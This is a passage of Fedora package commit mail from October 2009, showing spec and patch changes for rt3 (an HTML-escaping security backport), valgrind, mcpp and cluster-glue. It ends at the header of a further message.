Index: rt3.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rt3/devel/rt3.spec,v
retrieving revision 1.43
retrieving revision 1.44
diff -u -p -r1.43 -r1.44
--- rt3.spec	12 Oct 2009 15:20:45 -0000	1.43
+++ rt3.spec	12 Oct 2009 15:22:31 -0000	1.44
@@ -40,7 +40,7 @@
 
 Name:		rt3
 Version:	3.8.4
-Release:	3%{?dist}
+Release:	4%{?dist}
 Summary:	Request tracker 3
 
 Group:		Applications/Internet



From corsepiu at fedoraproject.org  Mon Oct 12 15:25:40 2009
From: corsepiu at fedoraproject.org (corsepiu)
Date: Mon, 12 Oct 2009 15:25:40 +0000 (UTC)
Subject: rpms/rt3/F-12 rt-3.8.4-rh-bz526870.diff, NONE, 1.1 rt3.spec, 1.42,
	1.43
Message-ID: <20091012152541.06DAD11C00DB@cvs1.fedora.phx.redhat.com>

Author: corsepiu

Update of /cvs/pkgs/rpms/rt3/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5124

Modified Files:
	rt3.spec 
Added Files:
	rt-3.8.4-rh-bz526870.diff 
Log Message:
* Mon Oct 12 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 3.8.4-4
- Add rt-3.8.4-rh-bz526870.diff (BZ #526870).


rt-3.8.4-rh-bz526870.diff:
 ShowCustomFields |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE rt-3.8.4-rh-bz526870.diff ---
--- a/share/html/Elements/ShowCustomFields
+++ b/share/html/Elements/ShowCustomFields
@@ -92,7 +92,7 @@ my $print_value = sub {
     if ( $m->comp_exists( $comp ) ) {
         $m->comp( $comp, Object => $value );
     } else {
-        $m->print( $value->Content );
+        $m->out( $m->interp->apply_escapes( $value->Content, 'h' ) );
     }
     $m->out('</a>') if $linked;


Index: rt3.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rt3/F-12/rt3.spec,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- rt3.spec	27 Jul 2009 03:17:42 -0000	1.42
+++ rt3.spec	12 Oct 2009 15:25:40 -0000	1.43
@@ -40,7 +40,7 @@
 
 Name:		rt3
 Version:	3.8.4
-Release:	3%{?dist}
+Release:	4%{?dist}
 Summary:	Request tracker 3
 
 Group:		Applications/Internet
@@ -55,6 +55,11 @@ Patch0:		rt-3.8.4-config.diff
 Patch2:		rt-3.8.4-Makefile.diff
 Patch3:		rt-3.8.4-test-dependencies.diff
 
+# https://bugzilla.redhat.com/show_bug.cgi?id=526870
+# Patch from http://lists.bestpractical.com/pipermail/rt-announce/2009-September/000173.html
+# Fixed in rt >= 3.8.5
+Patch5:		rt-3.8.4-rh-bz526870.diff
+
 BuildArch:	noarch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -232,6 +237,7 @@ find etc -type f -exec chmod a-x {} \;
 %patch0 -p1
 %patch2 -p1
 %patch3 -p1
+%patch5 -p1
 
 # Patch backups added by rpm disturb
 find -name '*.orig' -exec rm -f {} \;
@@ -431,6 +437,9 @@ fi
 %{RT3_LIBDIR}/RT/Test*
 
 %changelog
+* Mon Oct 12 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 3.8.4-4
+- Add rt-3.8.4-rh-bz526870.diff (BZ #526870).
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.8.4-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From jakub at fedoraproject.org  Mon Oct 12 15:29:23 2009
From: jakub at fedoraproject.org (Jakub Jelinek)
Date: Mon, 12 Oct 2009 15:29:23 +0000 (UTC)
Subject: rpms/valgrind/F-12 valgrind-3.5.0-inotify-init1.patch,1.1,1.2
Message-ID: <20091012152923.8942D11C00DB@cvs1.fedora.phx.redhat.com>

Author: jakub

Update of /cvs/pkgs/rpms/valgrind/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5849

Modified Files:
	valgrind-3.5.0-inotify-init1.patch 
Log Message:
3.5.0-2

valgrind-3.5.0-inotify-init1.patch:
 b/coregrind/m_syswrap/priv_syswrap-linux.h               |    1 
 b/coregrind/m_syswrap/syswrap-amd64-linux.c              |    4 +--
 b/coregrind/m_syswrap/syswrap-linux.c                    |   18 +++++++++++++++
 b/coregrind/m_syswrap/syswrap-x86-linux.c                |    4 +--
 valgrind-3.5.0/coregrind/m_syswrap/syswrap-ppc32-linux.c |    4 +--
 valgrind-3.5.0/coregrind/m_syswrap/syswrap-ppc64-linux.c |    4 +--
 6 files changed, 27 insertions(+), 8 deletions(-)

Index: valgrind-3.5.0-inotify-init1.patch
===================================================================
RCS file: /cvs/pkgs/rpms/valgrind/F-12/valgrind-3.5.0-inotify-init1.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- valgrind-3.5.0-inotify-init1.patch	12 Oct 2009 15:18:45 -0000	1.1
+++ valgrind-3.5.0-inotify-init1.patch	12 Oct 2009 15:29:23 -0000	1.2
@@ -80,7 +80,7 @@ index 90eb512..180e36b 100644
 -   LINXY(__NR_pipe2,             sys_pipe2)             // 331
 -   //   (__NR_inotify_init1,     sys_ni_syscall)        // 332
 +   LINXY(__NR_pipe2,             sys_pipe2),            // 331
-+   LINKX_(__NR_inotify_init1,    sys_inotify_init1)     // 332
++   LINX_(__NR_inotify_init1,     sys_inotify_init1)     // 332
  };
  
  const UInt ML_(syscall_table_size) = 



From corsepiu at fedoraproject.org  Mon Oct 12 15:33:02 2009
From: corsepiu at fedoraproject.org (corsepiu)
Date: Mon, 12 Oct 2009 15:33:02 +0000 (UTC)
Subject: rpms/rt3/devel rt3.spec,1.44,1.45
Message-ID: <20091012153302.BCF2811C00DB@cvs1.fedora.phx.redhat.com>

Author: corsepiu

Update of /cvs/pkgs/rpms/rt3/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7583

Modified Files:
	rt3.spec 
Log Message:
* Mon Oct 12 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 3.8.4-5
- Bump Release:.



Index: rt3.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rt3/devel/rt3.spec,v
retrieving revision 1.44
retrieving revision 1.45
diff -u -p -r1.44 -r1.45
--- rt3.spec	12 Oct 2009 15:22:31 -0000	1.44
+++ rt3.spec	12 Oct 2009 15:33:02 -0000	1.45
@@ -40,7 +40,7 @@
 
 Name:		rt3
 Version:	3.8.4
-Release:	4%{?dist}
+Release:	5%{?dist}
 Summary:	Request tracker 3
 
 Group:		Applications/Internet
@@ -437,6 +437,9 @@ fi
 %{RT3_LIBDIR}/RT/Test*
 
 %changelog
+* Mon Oct 12 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 3.8.4-5
+- Bump Release:.
+
 * Mon Oct 12 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 3.8.4-4
 - Add rt-3.8.4-rh-bz526870.diff (BZ #526870).
 



From corsepiu at fedoraproject.org  Mon Oct 12 15:34:09 2009
From: corsepiu at fedoraproject.org (corsepiu)
Date: Mon, 12 Oct 2009 15:34:09 +0000 (UTC)
Subject: rpms/rt3/F-12 rt3.spec,1.43,1.44
Message-ID: <20091012153409.E872E11C00DB@cvs1.fedora.phx.redhat.com>

Author: corsepiu

Update of /cvs/pkgs/rpms/rt3/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7847

Modified Files:
	rt3.spec 
Log Message:
* Mon Oct 12 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 3.8.4-4
- Add rt-3.8.4-rh-bz526870.diff (BZ #526870).



Index: rt3.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rt3/F-12/rt3.spec,v
retrieving revision 1.43
retrieving revision 1.44
diff -u -p -r1.43 -r1.44
--- rt3.spec	12 Oct 2009 15:25:40 -0000	1.43
+++ rt3.spec	12 Oct 2009 15:34:09 -0000	1.44
@@ -40,7 +40,7 @@
 
 Name:		rt3
 Version:	3.8.4
-Release:	4%{?dist}
+Release:	5%{?dist}
 Summary:	Request tracker 3
 
 Group:		Applications/Internet
@@ -437,6 +437,9 @@ fi
 %{RT3_LIBDIR}/RT/Test*
 
 %changelog
+* Mon Oct 12 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 3.8.4-5
+- Bump Release:.
+
 * Mon Oct 12 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 3.8.4-4
 - Add rt-3.8.4-rh-bz526870.diff (BZ #526870).
 



From kasal at fedoraproject.org  Mon Oct 12 15:35:14 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Mon, 12 Oct 2009 15:35:14 +0000 (UTC)
Subject: rpms/mcpp/devel mcpp.spec,1.9,1.10
Message-ID: <20091012153514.8AB8A11C00DB@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/mcpp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8172

Modified Files:
	mcpp.spec 
Log Message:
typo


Index: mcpp.spec
===================================================================
RCS file: /cvs/extras/rpms/mcpp/devel/mcpp.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- mcpp.spec	25 Jul 2009 11:54:49 -0000	1.9
+++ mcpp.spec	12 Oct 2009 15:35:13 -0000	1.10
@@ -21,7 +21,7 @@ MCPP is especially useful for debugging 
 complicated macros and also useful for checking portability of a source.
 
 Though mcpp could be built as a replacement of GCC's resident
-proprocessor or as a stand-alone program without using library build of
+preprocessor or as a stand-alone program without using library build of
 mcpp, this package installs only a program named 'mcpp' which links
 shared library of mcpp and behaves independent from GCC.
 



From corsepiu at fedoraproject.org  Mon Oct 12 15:36:18 2009
From: corsepiu at fedoraproject.org (corsepiu)
Date: Mon, 12 Oct 2009 15:36:18 +0000 (UTC)
Subject: rpms/rt3/F-11 rt-3.8.2-rh-bz526870.diff, NONE, 1.1 rt3.spec, 1.41,
	1.42
Message-ID: <20091012153618.B227A11C00DB@cvs1.fedora.phx.redhat.com>

Author: corsepiu

Update of /cvs/pkgs/rpms/rt3/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8665

Modified Files:
	rt3.spec 
Added Files:
	rt-3.8.2-rh-bz526870.diff 
Log Message:
* Mon Oct 12 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 3.8.2-10
- Add rt-3.8.2-rh-bz526870.diff (BZ #526870).


rt-3.8.2-rh-bz526870.diff:
 ShowCustomFields      |    2 
 ShowCustomFields.orig |  114 ++++++++++++++++++++++++++++++++++++++++++++++++++
 2 files changed, 115 insertions(+), 1 deletion(-)

--- NEW FILE rt-3.8.2-rh-bz526870.diff ---
diff -Naur rt-3.8.2.orig/share/html/Elements/ShowCustomFields rt-3.8.2/share/html/Elements/ShowCustomFields
--- rt-3.8.2.orig/share/html/Elements/ShowCustomFields	2009-01-07 02:15:28.000000000 +0100
+++ rt-3.8.2/share/html/Elements/ShowCustomFields	2009-10-12 16:56:54.000000000 +0200
@@ -89,7 +89,7 @@
     if ( $m->comp_exists( $comp ) ) {
         $m->comp( $comp, Object => $value );
     } else {
-        $m->print( $value->Content );
+        $m->out( $m->interp->apply_escapes( $value->Content, 'h' ) );
     }
     $m->out('</a>') if $linked;
 
diff -Naur rt-3.8.2.orig/share/html/Elements/ShowCustomFields.orig rt-3.8.2/share/html/Elements/ShowCustomFields.orig
--- rt-3.8.2.orig/share/html/Elements/ShowCustomFields.orig	1970-01-01 01:00:00.000000000 +0100
+++ rt-3.8.2/share/html/Elements/ShowCustomFields.orig	2009-01-07 02:15:28.000000000 +0100
@@ -0,0 +1,114 @@
+%# BEGIN BPS TAGGED BLOCK {{{
+%# 
+%# COPYRIGHT:
+%# 
+%# This software is Copyright (c) 1996-2009 Best Practical Solutions, LLC
+%#                                          <jesse at bestpractical.com>
+%# 
+%# (Except where explicitly superseded by other copyright notices)
+%# 
+%# 
+%# LICENSE:
+%# 
+%# This work is made available to you under the terms of Version 2 of
+%# the GNU General Public License. A copy of that license should have
+%# been provided with this software, but in any event can be snarfed
+%# from www.gnu.org.
+%# 
+%# This work is distributed in the hope that it will be useful, but
+%# WITHOUT ANY WARRANTY; without even the implied warranty of
+%# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+%# General Public License for more details.
+%# 
+%# You should have received a copy of the GNU General Public License
+%# along with this program; if not, write to the Free Software
+%# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
+%# 02110-1301 or visit their web page on the internet at
+%# http://www.gnu.org/licenses/old-licenses/gpl-2.0.html.
+%# 
+%# 
+%# CONTRIBUTION SUBMISSION POLICY:
+%# 
+%# (The following paragraph is not intended to limit the rights granted
+%# to you to modify and distribute this software under the terms of
+%# the GNU General Public License and is only of importance to you if
+%# you choose to contribute your changes and enhancements to the
+%# community by submitting them to Best Practical Solutions, LLC.)
+%# 
+%# By intentionally submitting any modifications, corrections or
+%# derivatives to this work, or any other work intended for use with
+%# Request Tracker, to Best Practical Solutions, LLC, you confirm that
+%# you are the copyright holder for those contributions and you grant
+%# Best Practical Solutions,  LLC a nonexclusive, worldwide, irrevocable,
+%# royalty-free, perpetual, license to use, copy, create derivative
+%# works based on those contributions, and sublicense and distribute
+%# those contributions and any derivatives thereof.
+%# 
+%# END BPS TAGGED BLOCK }}}
+<table>
+% while ( my $CustomField = $CustomFields->Next ) {
+% my $Values = $Object->CustomFieldValues( $CustomField->Id );
+% my $count = $Values->Count;
+  <tr id="CF-<%$CustomField->id%>-ShowRow">
+    <td class="label"><% $CustomField->Name %>:</td>
+    <td class="value">
+% unless ( $count ) {
+<i><&|/l&>(no value)</&></i>
+% } elsif ( $count == 1 ) {
+%   $print_value->( $CustomField, $Values->First );
+% } else {
+<ul>
+% while ( my $Value = $Values->Next ) {
+<li>
+% $print_value->( $CustomField, $Value );
+</li>
+% }
+</ul>
+% }
+    </td>
+  </tr>
+% }
+</table>
+<%INIT>
+my $CustomFields = $Object->CustomFields;
+$m->callback( CallbackName => 'MassageCustomFields', CustomFields => $CustomFields );
+
+my $print_value = sub {
+    my ($cf, $value) = @_;
+    my $linked = $cf->LinkValueTo;
+    if ( $linked ) {
+        $m->out('<a href="'. $value->LinkValueTo .'" target="_new">');
+    }
+    my $comp = "ShowCustomField". $cf->Type;
+    $m->callback(
+        CallbackName => 'ShowComponentName',
+        Name         => \$comp,
+        CustomField  => $cf,
+        Object       => $Object,
+    );
+    if ( $m->comp_exists( $comp ) ) {
+        $m->comp( $comp, Object => $value );
+    } else {
+        $m->print( $value->Content );
+    }
+    $m->out('</a>') if $linked;
+
+    # This section automatically populates a div with the "IncludeContentForValue" for this custom
+    # field if it's been defined
+    if ( $cf->IncludeContentForValue ) {
+       my $vid = $value->id;
+       $m->out(   '<div class="object_cf_value_include" id="object_cf_value_'. $vid .'">' );
+       $m->print( loc("See also:") );
+       $m->out(   '<a href="'. $value->IncludeContentForValue .'">' );
+       $m->print( $value->IncludeContentForValue );
+       $m->out(   qq{</a></div>\n} );
+       $m->out(   qq{<script><!--\nahah('} );
+       $m->print( $value->IncludeContentForValue );
+       $m->out(   qq{', 'object_cf_value_$vid');\n--></script>\n} );
+    }
+};
+
+</%INIT>
+<%ARGS>
+$Object => undef
+</%ARGS>


Index: rt3.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rt3/F-11/rt3.spec,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- rt3.spec	24 Jun 2009 22:01:57 -0000	1.41
+++ rt3.spec	12 Oct 2009 15:36:18 -0000	1.42
@@ -40,7 +40,7 @@
 
 Name:		rt3
 Version:	3.8.2
-Release:	9%{?dist}
+Release:	10%{?dist}
 Summary:	Request tracker 3
 
 Group:		Applications/Internet
@@ -55,11 +55,17 @@ Patch0:		rt-3.8.1-config.diff
 Patch2:		rt-3.8.1-Makefile.diff
 Patch3:		rt-3.8.1-test-dependencies.diff
 
-# Address https://bugzilla.redhat.com/show_bug.cgi?id=506236
+# https://bugzilla.redhat.com/show_bug.cgi?id=506236
 # Patch from http://lists.bestpractical.com/pipermail/rt-announce/2009-June/000170.html
 # Fixed in rt >= 3.8.4
 Patch4:		rt-3.8.2-rh-bz506236.diff
 
+# https://bugzilla.redhat.com/show_bug.cgi?id=526870
+# Patch from http://lists.bestpractical.com/pipermail/rt-announce/2009-September/000173.html
+# Fixed in rt >= 3.8.5
+Patch5:		rt-3.8.2-rh-bz526870.diff
+
+
 BuildArch:	noarch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -238,6 +244,7 @@ find etc -type f -exec chmod a-x {} \;
 %patch2 -p1
 %patch3 -p1
 %patch4 -p1
+%patch5 -p1
 
 # Patch backups added by rpm disturb
 find -name '*.orig' -exec rm -f {} \;
@@ -437,6 +444,9 @@ fi
 %{RT3_LIBDIR}/RT/Test*
 
 %changelog
+* Mon Oct 12 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 3.8.2-10
+- Add rt-3.8.2-rh-bz526870.diff (BZ #526870).
+
 * Wed Jun 24 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 3.8.2-9
 - Add R: perl(Data::ICal), R: perl(Data::ICal::Entry::Event) (BZ #507965).
 



From corsepiu at fedoraproject.org  Mon Oct 12 15:37:42 2009
From: corsepiu at fedoraproject.org (corsepiu)
Date: Mon, 12 Oct 2009 15:37:42 +0000 (UTC)
Subject: rpms/rt3/F-10 rt-3.8.2-rh-bz526870.diff, NONE, 1.1 rt3.spec, 1.40,
	1.41
Message-ID: <20091012153742.6451F11C00DB@cvs1.fedora.phx.redhat.com>

Author: corsepiu

Update of /cvs/pkgs/rpms/rt3/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9015

Modified Files:
	rt3.spec 
Added Files:
	rt-3.8.2-rh-bz526870.diff 
Log Message:
* Mon Oct 12 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 3.8.2-10
- Add rt-3.8.2-rh-bz526870.diff (BZ #526870).


rt-3.8.2-rh-bz526870.diff:
 ShowCustomFields      |    2 
 ShowCustomFields.orig |  114 ++++++++++++++++++++++++++++++++++++++++++++++++++
 2 files changed, 115 insertions(+), 1 deletion(-)

--- NEW FILE rt-3.8.2-rh-bz526870.diff ---
diff -Naur rt-3.8.2.orig/share/html/Elements/ShowCustomFields rt-3.8.2/share/html/Elements/ShowCustomFields
--- rt-3.8.2.orig/share/html/Elements/ShowCustomFields	2009-01-07 02:15:28.000000000 +0100
+++ rt-3.8.2/share/html/Elements/ShowCustomFields	2009-10-12 16:56:54.000000000 +0200
@@ -89,7 +89,7 @@
     if ( $m->comp_exists( $comp ) ) {
         $m->comp( $comp, Object => $value );
     } else {
-        $m->print( $value->Content );
+        $m->out( $m->interp->apply_escapes( $value->Content, 'h' ) );
     }
     $m->out('</a>') if $linked;
 
diff -Naur rt-3.8.2.orig/share/html/Elements/ShowCustomFields.orig rt-3.8.2/share/html/Elements/ShowCustomFields.orig
--- rt-3.8.2.orig/share/html/Elements/ShowCustomFields.orig	1970-01-01 01:00:00.000000000 +0100
+++ rt-3.8.2/share/html/Elements/ShowCustomFields.orig	2009-01-07 02:15:28.000000000 +0100
@@ -0,0 +1,114 @@
+%# BEGIN BPS TAGGED BLOCK {{{
+%# 
+%# COPYRIGHT:
+%# 
+%# This software is Copyright (c) 1996-2009 Best Practical Solutions, LLC
+%#                                          <jesse at bestpractical.com>
+%# 
+%# (Except where explicitly superseded by other copyright notices)
+%# 
+%# 
+%# LICENSE:
+%# 
+%# This work is made available to you under the terms of Version 2 of
+%# the GNU General Public License. A copy of that license should have
+%# been provided with this software, but in any event can be snarfed
+%# from www.gnu.org.
+%# 
+%# This work is distributed in the hope that it will be useful, but
+%# WITHOUT ANY WARRANTY; without even the implied warranty of
+%# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+%# General Public License for more details.
+%# 
+%# You should have received a copy of the GNU General Public License
+%# along with this program; if not, write to the Free Software
+%# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
+%# 02110-1301 or visit their web page on the internet at
+%# http://www.gnu.org/licenses/old-licenses/gpl-2.0.html.
+%# 
+%# 
+%# CONTRIBUTION SUBMISSION POLICY:
+%# 
+%# (The following paragraph is not intended to limit the rights granted
+%# to you to modify and distribute this software under the terms of
+%# the GNU General Public License and is only of importance to you if
+%# you choose to contribute your changes and enhancements to the
+%# community by submitting them to Best Practical Solutions, LLC.)
+%# 
+%# By intentionally submitting any modifications, corrections or
+%# derivatives to this work, or any other work intended for use with
+%# Request Tracker, to Best Practical Solutions, LLC, you confirm that
+%# you are the copyright holder for those contributions and you grant
+%# Best Practical Solutions,  LLC a nonexclusive, worldwide, irrevocable,
+%# royalty-free, perpetual, license to use, copy, create derivative
+%# works based on those contributions, and sublicense and distribute
+%# those contributions and any derivatives thereof.
+%# 
+%# END BPS TAGGED BLOCK }}}
+<table>
+% while ( my $CustomField = $CustomFields->Next ) {
+% my $Values = $Object->CustomFieldValues( $CustomField->Id );
+% my $count = $Values->Count;
+  <tr id="CF-<%$CustomField->id%>-ShowRow">
+    <td class="label"><% $CustomField->Name %>:</td>
+    <td class="value">
+% unless ( $count ) {
+<i><&|/l&>(no value)</&></i>
+% } elsif ( $count == 1 ) {
+%   $print_value->( $CustomField, $Values->First );
+% } else {
+<ul>
+% while ( my $Value = $Values->Next ) {
+<li>
+% $print_value->( $CustomField, $Value );
+</li>
+% }
+</ul>
+% }
+    </td>
+  </tr>
+% }
+</table>
+<%INIT>
+my $CustomFields = $Object->CustomFields;
+$m->callback( CallbackName => 'MassageCustomFields', CustomFields => $CustomFields );
+
+my $print_value = sub {
+    my ($cf, $value) = @_;
+    my $linked = $cf->LinkValueTo;
+    if ( $linked ) {
+        $m->out('<a href="'. $value->LinkValueTo .'" target="_new">');
+    }
+    my $comp = "ShowCustomField". $cf->Type;
+    $m->callback(
+        CallbackName => 'ShowComponentName',
+        Name         => \$comp,
+        CustomField  => $cf,
+        Object       => $Object,
+    );
+    if ( $m->comp_exists( $comp ) ) {
+        $m->comp( $comp, Object => $value );
+    } else {
+        $m->print( $value->Content );
+    }
+    $m->out('</a>') if $linked;
+
+    # This section automatically populates a div with the "IncludeContentForValue" for this custom
+    # field if it's been defined
+    if ( $cf->IncludeContentForValue ) {
+       my $vid = $value->id;
+       $m->out(   '<div class="object_cf_value_include" id="object_cf_value_'. $vid .'">' );
+       $m->print( loc("See also:") );
+       $m->out(   '<a href="'. $value->IncludeContentForValue .'">' );
+       $m->print( $value->IncludeContentForValue );
+       $m->out(   qq{</a></div>\n} );
+       $m->out(   qq{<script><!--\nahah('} );
+       $m->print( $value->IncludeContentForValue );
+       $m->out(   qq{', 'object_cf_value_$vid');\n--></script>\n} );
+    }
+};
+
+</%INIT>
+<%ARGS>
+$Object => undef
+</%ARGS>


Index: rt3.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rt3/F-10/rt3.spec,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- rt3.spec	24 Jun 2009 22:02:39 -0000	1.40
+++ rt3.spec	12 Oct 2009 15:37:42 -0000	1.41
@@ -40,7 +40,7 @@
 
 Name:		rt3
 Version:	3.8.2
-Release:	9%{?dist}
+Release:	10%{?dist}
 Summary:	Request tracker 3
 
 Group:		Applications/Internet
@@ -55,11 +55,17 @@ Patch0:		rt-3.8.1-config.diff
 Patch2:		rt-3.8.1-Makefile.diff
 Patch3:		rt-3.8.1-test-dependencies.diff
 
-# Address https://bugzilla.redhat.com/show_bug.cgi?id=506236
+# https://bugzilla.redhat.com/show_bug.cgi?id=506236
 # Patch from http://lists.bestpractical.com/pipermail/rt-announce/2009-June/000170.html
 # Fixed in rt >= 3.8.4
 Patch4:		rt-3.8.2-rh-bz506236.diff
 
+# https://bugzilla.redhat.com/show_bug.cgi?id=526870
+# Patch from http://lists.bestpractical.com/pipermail/rt-announce/2009-September/000173.html
+# Fixed in rt >= 3.8.5
+Patch5:		rt-3.8.2-rh-bz526870.diff
+
+
 BuildArch:	noarch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -238,6 +244,7 @@ find etc -type f -exec chmod a-x {} \;
 %patch2 -p1
 %patch3 -p1
 %patch4 -p1
+%patch5 -p1
 
 # Patch backups added by rpm disturb
 find -name '*.orig' -exec rm -f {} \;
@@ -437,6 +444,9 @@ fi
 %{RT3_LIBDIR}/RT/Test*
 
 %changelog
+* Mon Oct 12 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 3.8.2-10
+- Add rt-3.8.2-rh-bz526870.diff (BZ #526870).
+
 * Wed Jun 24 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 3.8.2-9
 - Add R: perl(Data::ICal), R: perl(Data::ICal::Entry::Event) (BZ #507965).
 



From beekhof at fedoraproject.org  Mon Oct 12 15:38:01 2009
From: beekhof at fedoraproject.org (Andrew Beekhof)
Date: Mon, 12 Oct 2009 15:38:01 +0000 (UTC)
Subject: rpms/cluster-glue/F-12 .cvsignore, 1.4, 1.5 cluster-glue.spec, 1.7, 
	1.8 sources, 1.4, 1.5
Message-ID: <20091012153801.C012911C00DB@cvs1.fedora.phx.redhat.com>

Author: beekhof

Update of /cvs/pkgs/rpms/cluster-glue/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9101

Modified Files:
	.cvsignore cluster-glue.spec sources 
Log Message:
Refresh from upstream sources


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/cluster-glue/F-12/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	17 Aug 2009 14:40:40 -0000	1.4
+++ .cvsignore	12 Oct 2009 15:38:01 -0000	1.5
@@ -1 +1 @@
-d97b9dea436e.tar.bz2
+b79635605337.tar.bz2


Index: cluster-glue.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cluster-glue/F-12/cluster-glue.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- cluster-glue.spec	21 Aug 2009 12:47:33 -0000	1.7
+++ cluster-glue.spec	12 Oct 2009 15:38:01 -0000	1.8
@@ -4,9 +4,9 @@
 
 # When downloading directly from Mercurial, it will automatically add this prefix
 # Invoking 'hg archive' wont but you can add one with: hg archive -t tgz -p "Reusable-Cluster-Components-" -r $upstreamversion $upstreamversion.tar.gz
-%global specversion 9
+%global specversion 10
 %global upstreamprefix Reusable-Cluster-Components-
-%global upstreamversion d97b9dea436e
+%global upstreamversion b79635605337
 
 # Keep around for when/if required
 %global alphatag %{upstreamversion}.hg
@@ -14,11 +14,12 @@
 Name:		cluster-glue
 Summary:	Reusable cluster components
 Version:	1.0
-Release:	%{?alphatag:0.}%{specversion}%{?alphatag:.%{alphatag}}%{?dist}.1
+Release:	%{?alphatag:0.}%{specversion}%{?alphatag:.%{alphatag}}%{?dist}
 License:	GPLv2+ and LGPLv2+
 Url:		http://www.clusterlabs.org
 Group:		System Environment/Base
 Source0:	http://hg.linux-ha.org/glue/archive/%{upstreamversion}.tar.bz2
+Requires:	perl-TimeDate
 
 # Directives to allow upgrade from combined heartbeat packages in Fedora11
 Provides:	heartbeat-stonith = 3.0.0-1
@@ -107,6 +108,7 @@ standards, and an interface to common ST
 %{_datadir}/heartbeat/ha_cf_support.sh
 %{_datadir}/heartbeat/openais_conf_support.sh
 %{_datadir}/heartbeat/utillib.sh
+%{_datadir}/heartbeat/combine-logs.pl
 
 %dir %{_var}/lib/heartbeat
 %dir %{_var}/lib/heartbeat/cores
@@ -184,6 +186,28 @@ such as Pacemaker.
 %doc COPYING.LIB
 
 %changelog
+* Mon Oct 12 2009 Andrew Beekhof <andrew at beekhof.net> - 1.0-0.10.b79635605337.hg
+- Add install dependancy on perl-TimeDate for hb_report
+- Update to upstream version b79635605337
+  + Build: fix defines for pacemaker-pygui compatibility.
+  + High: Tools: hb_report: log/events combining
+  + High: doc: new README for wti_mpc
+  + High: hb_report: add man page hb_report.8
+  + High: hb_report: extract important events from the logs
+  + High: stonith: external/ibmrsa-telnet: add support for later RSA cards
+  + High: stonith: wti_mpc: support for MIB versions 1 and 3
+  + Logd: Start/stop priorities are not created by configure
+  + Med: sbd: Fix definition of size_t.
+  + Med: sbd: Nodename comparison should be case insensitive (bnc#534445)
+  + Med: wti_nps: add support for internet power switch model (bnc#539912)
+  + Medium (LF 2194): LRM: fix return code on RA exec failure
+  + Medium: Tools: hb_report: add -v option (debugging)
+  + Medium: Tools: hb_report: options -C and -D are obsoleted
+  + ha_logd: Fix a compile error/warning.
+  + hb_report: report corosync packages too.
+  + sbd: Accept -h (bnc#529574)
+  + sbd: really fix the sector_size type.
+
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 1.0-0.9.d97b9dea436e.hg.1
 - rebuilt with new openssl
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cluster-glue/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	17 Aug 2009 14:40:40 -0000	1.4
+++ sources	12 Oct 2009 15:38:01 -0000	1.5
@@ -1 +1 @@
-4983dda666e45a491933fc121a386bc3  d97b9dea436e.tar.bz2
+25c996c1a371e842dc3add2df593782f  b79635605337.tar.bz2



From twaugh at fedoraproject.org  Mon Oct 12 15:42:40 2009
From: twaugh at fedoraproject.org (Tim Waugh)
